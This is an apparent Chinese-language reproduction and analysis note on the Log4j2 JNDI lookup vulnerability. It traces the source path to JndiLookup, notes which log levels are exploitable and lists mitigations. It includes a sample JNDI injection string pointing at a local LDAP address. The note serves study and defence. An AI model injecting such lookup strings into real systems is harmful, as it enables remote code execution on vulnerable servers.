Log4j

0x01 What Is Log4j2

Apache log4j2是一款用于 Java 日志记录的工具。日志记录主要用来监视代码中变量的变化情况,周期性地记录到文件中供其他应用进行统计分析工作;跟踪代码运行时轨迹,作为日后审计的依据;担当集成开发环境中的调试器的作用,向文件或控制台打印代码的调试信息。其在JAVA生态环境中应用极其广泛,影响巨大。

经典漏洞,来复现一波

漏洞的触发点在于利用org.apache.logging.log4j.Logger进行logerror等记录操作时未对日志message信息进行有效检查,从而导致漏洞发生。

影响版本:2.0 <= Apache log4j2 <= 2.14.1

0x02 Basic Usage

To use Log4j 2 in your application make sure that both the API and Core jars are in the application's classpath. Add the dependencies listed below to your classpath.

log4j-api.jar

log4j-core.jar

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.0</version>
</dependency>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4Vul {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String food = "taco";
        logger.error("{} is not served", food);
        // 12:17:56.859 [main] ERROR Log4Vul - taco is not served
    }
}

{}起到占位符的作用,被替换为传入的参数

log4j提供了一些lookup功能,可以快速打印环境变量、java版本信息、日志事件、运行容器信息等内容

logger.error("Java version :{}","${java:version}");将打印java版本

具体可以查看[官方文档](Log4j – Log4j 2 Lookups (apache.org))

可以看到有敏感的JndiLookup ,通过jndi来获取变量值

log4j.core.lookup可以找到这个类

public String lookup(final LogEvent event, final String key) {
    if (key == null) {
        return null;
    }
    final String jndiName = convertJndiName(key);
    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
        return Objects.toString(jndiManager.lookup(jndiName), null);
    } // ....
}

jndiManager#lookup有熟悉的this.context.lookup(name);context默认为InitialContext

接着看看log4j是怎么处理我们传入的message并转化为jndi的

MessagePatternConverter#format

  • 判断是否设置noLookups(后面讲防御就是把这个参数设为true)

  • 判断是否有${

  • 传入StrSubstitutor进行replace

${xxx}中间的内容提取出来,传入resolveVariable处理,在Interpolator#lookup,把第一个:前的内容提取出来,这里就是jndi,在strLookupMap找到对应的Lookup类,即找到JndiLookup类,用这个类去lookup后面的部分

上面是使用logger.error()触发的,日志等级默认200。

一般情况下,如logger.log(Level.INFO, "${jndi:ldap://127.0.0.1:8099/666}");

会经过logIfEnabled()的判断

如果日志等级的值没有小于200(值越小等级越高),就不会进入logMessage来打印消息

所以只有OFF(0)、FATAL(100)、ERROR(200)才能利用

代码中日志等级的优先级≥默认级别才可以成功,比如Struts2的默认日志等级为Info(400),WARN(300)、ERROR、FATAL、OFF、INFO这几个级别的日志都可能被利用

0x03 Defend

  • 升级到2.17.0版本以上

  • 设置jvm参数:-Dlog4j2.formatMsgNoLookups=true

  • 设置环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true

0x04 Reference

Last updated